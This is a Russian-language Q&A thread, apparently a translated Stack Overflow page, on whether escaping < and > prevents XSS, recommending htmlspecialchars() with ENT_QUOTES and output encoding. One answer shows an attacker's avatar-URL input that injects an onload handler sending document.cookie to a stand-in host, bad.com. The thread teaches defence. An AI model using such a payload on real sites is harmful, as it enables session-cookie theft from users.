Я хочу знать, достаточно ли ввода двух меток <
и >
для предотвращения XSS-инъекций?
А если нет, то почему? И какое лучшее решение?
Я хочу знать, достаточно ли ввода двух меток <
и >
для предотвращения XSS-инъекций?
А если нет, то почему? И какое лучшее решение?
Это очень сильно зависит от контекста.
Посмотрите на этот пример с типичного форума...
Вы можете сделать ссылку на свой аватар. Введите полный URL-адрес.
Злоумышленник вводит в поле ввода
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
Там нет кодировки меньше и больше, но все же большая дыра в безопасности.
С htmlspecialchars()
я нашел хорошей идеей сделать (или использовать) функцию-оболочку, которая приводит к строке, предоставляет более простой способ отключить двойное кодирование (при необходимости) и убедиться, что он использует правильный набор символов вашего применение. У Kohana есть отличный пример.
&
в сообщении, говорящем об HTML, подобном этому, параметр не сможет заменить его на &amp;
в исходном коде, и, следовательно, на экране он будет отображаться как &
, что выставит меня идиотом. Кодирование — это процесс, а не состояние.
- person bobince; 22.01.2010
Вы должны также учитывать двойные кавычки "
, одинарные кавычки '
и амперсанд &
. Если вы делаете все это во время отображения/генерации вывода, то да, этого достаточно.
Вы должны убедиться, что делаете это только для любых входных данных, контролируемых пользователем, таких как параметры запроса, URL-адрес запроса, заголовки запроса и входные данные, контролируемые пользователем, которые хранятся в хранилище данных.
В PHP это можно сделать с помощью htmlspecialchars()
, а в JSP это можно сделать с помощью JSTL <c:out>
.
htmlspecialchars
по умолчанию экранирует только двойные кавычки, а не одинарные. Но обычно это нормально, так как одинарные кавычки редко используются в качестве разделителя атрибутов. Используйте ENT_QUOTES
, чтобы быть уверенным в получении обоих.
- person bobince; 22.01.2010